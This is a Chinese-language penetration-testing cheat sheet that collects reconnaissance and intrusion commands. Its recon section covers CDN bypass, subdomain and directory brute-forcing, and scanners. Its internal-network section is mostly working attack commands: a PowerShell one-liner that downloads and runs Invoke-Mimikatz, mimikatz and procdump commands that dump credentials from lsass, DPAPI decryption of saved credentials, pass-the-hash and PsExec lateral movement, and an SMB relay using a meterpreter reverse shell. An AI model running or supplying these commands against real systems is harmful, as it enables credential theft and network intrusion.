渗透入侵常用工具

信息搜集

绕过CDN查找真实IP

  • 查询历史DNS记录:SecurityTrailsviewdns
  • 查询子域名:DnsdbcrtshspyseGoogle site:target.com -www
  • 利用SSL证书:原理:通过IP直连443端口,会暴露SSL证书,遍历0.0.0.0/0,即整个互联网,一旦找到相同的SSL证书,即找到隐藏在CDN后的IP。Censys实现对整个互联网的扫描,搜索参数:parsed.names: target.com and tags.raw: trusted,然后查找使用这些证书的IP:Explore -> What’s using this certificate? -> IPv4 Hosts。对于暗网网站,只需将SHA1 fingerprint(签名证书的sha1值)粘贴到Censys IPv4主机搜索中,即可找到证书,然后同理查找使用这个证书的IP。
  • 利用特征HTTP标头:Censys搜索参数:80.http.get.headers.server:cloudflare
  • 利用特征HTTP内容:Censys搜索参数:80.http.get.body:参数Shadon搜索参数:https://www.shodan.io/search?query=http.html%3AUA-32023260-1
  • 利用iconhash,计算favicon.ico的hash值,然后通过fofa、shadon查找
  • RSS邮件订阅,网站如果自带sendmail,通过其发送的邮件源码中查找IP
  • Zmap扫描:首先从APNIC(Asia-Pacific Network Information Center,亚太互联网络信息中心)获取IP段,然后使用Zmap的banner-grab扫描出来80端口开放的主机进行banner抓取,最后在http-req文件中的 Host写target.com。
  • F5 LTM:服务器如果使用F5 LTM,通过Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,第一小节的十进制数487098378转为十六进制数1d08880a,从后往前解析即为IP:0a.88.08.1d(10.136.8.29)
  • 利用报错信息或其他访问功能,如上传头像是提供一个url供目标网站下载,则放置头像的访问记录中会记录目标网站的真实IP
  • 针对cloudflare:crimeflareping direct-target.com

基本信息搜集

1
theharvester -d target.com -b bing,google -h -p

后台查询

Breacherpython breacher.py -u example.com --type php

cangibrinapython cangibrina.py -u facebook.com --ext php

dirsearchpython3 dirsearch.py -e php -u example.com --exclude-status 403,401

旁站查询

Reverse IP Domain Check

DNS查询

who.is

godaddy.com

DNSdumpster

1
2
3
4
whois xxx.edu.cn
dig +short xxx.edu.cn
dig -x 10.10.10.10
dnsrecon -d xxx.edu.cn

子域名扫描

Find Subdomain

subDomainsBrute
1
D:\ctf\tools\gather\subDomainsBrute>python subDomainsBrute.py qq.com --full

目录扫描

dirb

dirsearch

FUZZ扫描器

wfuzz
1
2
C:\Users\tyler>wfuzz -w D:\ctf\tools\web\wfuzz\wordlist\general\common.txt -w D:\ctf\tools\web\wfuzz\wordlist\general\common.txt -w D:\ctf\tools\web\wfuzz\wordlist\general\extensions_common.txt --hc 404 http://testphp.vulnweb.com/FUZZ/FUZ2ZFUZ3Z #FUZZ url(FUZnZ,其中n代表了payload的序号)
wfuzz -z range,0-10 --hl 97 http://testphp.vulnweb.com/listproducts.php?cat=FUZZ #FUZZ参数

ffuf

1
ffuf -c -w /mnt/hgfs/ctf/tools/password/OneListForAll/onelistforall.txt -u [target.com]/FUZZ

密码字典

fuzzdb

SecLists

社工密码字典生成工具Cupp

爬行网站获取关键信息创建密码字典工具cewl

Web环境识别

在线平台:bugscaner云悉

1
$ whatweb -v xxx.edu.cn

设备/服务组件搜索

国内:钟馗之眼fofa

国外:撒旦

源码泄露

dvcs-ripper

1
2
3
4
5
6
#ignore SSL certification verification (with -s)
rip-git.pl -v -u http://www.example.com/.git/
rip-hg.pl -v -u http://www.example.com/.hg/
rip-bzr.pl -v -u http://www.example.com/.bzr/
rip-svn.pl -v -u http://www.example.com/.svn/
rip-cvs.pl -v -u http://www.example.com/CVS/

漏洞扫描

1
2
3
nikto -h xxx.edu.cn -output ./result.html -Format htm
/mnt/hgfs/ctf/tools/exploit/w3af/w3af_gui #https://github.com/andresriancho/w3af
D:\ctf\tools\exploit\xray_windows_amd64\xray_windows_amd64.exe webscan --basic-crawler "target.com" --text-output out.txt #https://github.com/chaitin/xray

WordPress漏洞扫描

1
2
3
4
5
6
7
8
9
10
wpscan --url target.com -e vp,ap,p,vt,at,t,u --passwords /root/wordlist.txt -t 50 --api-token xxxxxxxxxxxxxxxxxxx

msf search wordpress login

#token
https://wpvulndb.com/users/edit

apt remove wpscan
apt install zlib1g-dev
gem install wpscan #install wpscan

Structs2漏洞扫描

1
2
3
#https://github.com/Lucifer1993/struts-scan
python structs-scan.py http://target.com/struts2%2Dshowcase/actionChain.action #扫描
python structs-scan.py -u http://target.com -i struts2-048 #攻击

Weblogic

1
2
3
4
#https://github.com/rabbitmask/WeblogicScan
python3 ws.py -t ip:7001
weblogic上传shell路径:
.../servers/AdminServer/tmp/_WL_internal/uddiexplorer/随机字符/war/***.jsp

内网渗透

域信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>net user /domain #查询所有域用户
>net view /domain #查看有几个域
>net view /domain:XXX #查看域内的主机
>net group /domain #查看域里面的组
>net share #查看共享文件夹
>query user
tscon 2 #切换用户

>net group "domain computers" #domain:查看域内所有的主机名
>dsquery server #查询域控制器主机名
"CN=WIN-KMZ8MFWF5L8,CN=Servers,..."
>net group "domain controllers" /domain
WIN-KMZ8MFWF5L8$ #去掉结尾$符号
>ping WIN-KMZ8MFWF5L8 #查询域控制器IP
>net group "domain admins" /domain #查询域管理员用户名

提取系统信息

1
2
3
4
5
6
7
8
powershell IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz DumpCerts #查询域管理员密码
powershell IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); Get-PassHashes #查询域管理员密码hash

mimikatz log "privilege::debug" "lsadump::lsa /patch" #获取域控制器上所有用户的hash
mimikatz "privilege::debug" "sekurlsa::logonPasswords" #抓取密码
#如果无法上传mimikatz,先将lsass进程内存dump出来,再通过mimikatz本地获取密码
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

用户凭据收集

1
2
3
4
5
6
7
8
#获取RDP保存凭据
cmdkey /list
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\CredentialsB23BCADBE2FAD8EA21E6E9F0516772C" exit #获取guidMasterKey
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit #获取MasterKey
mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\CredentialsB23BCADBE2FAD8EA21E6E9F0516772C /masterkey:39bff149dda4f21fed7843d2633fe719903871b9ac2a96618b1ec87a6c806acbb83f5064e07626310539cd589c1c46d99d59329809e916c240bafef20e7b0c90" exit
#获取Navicat、FileZilla,使用SharpDecryptPwd
#获取浏览器登录凭据,https://github.com/moonD4rk/HackBrowserData

特权提升

Linux ssid,sudo提权

辅助工具

Windows Potato提权

服务账户(service)默认拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege特权,“Potato”家族:PetitPotato

横向移动

1
2
3
4
5
#psExec
PsExec.exe -accepteula \10.10.10.19 -u Administrator -p Admin@123 -s cmd.exe
#哈希传递(PassThe Hash)
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:hack-my.com /ntlm:570a9a65db8fba761c1008a51d4c95ab" exit
python smbexec.py -hashes:570a9a65db8fba761c1008a51d4c95ab hack-my.com/administrator@10.10.10.19

impacket

smbrelayx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#run on attack vps
pip install impacket
nmap -sT -p 445 --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.91.0/24 #扫描未开启smb签名的机器:message_signing: disabled(dangerous, but default)
smbrelayx.py -h target_ip -c "calc.exe"

或者直接用MSF的smb_relay模块代替:
msfconsole
use exploit/windows/smb/smb_relay
set payload windows/x64/meterpreter/reverse_tcp
set lhost attack_vps
set smbhost target_ip
run
#其他机器使用和target_ip相同权限访问攻击机,攻击机可以获取hash,并且触发目标机器执行命令
net use \attack_vps/user:"Administrator" "ABCabc123"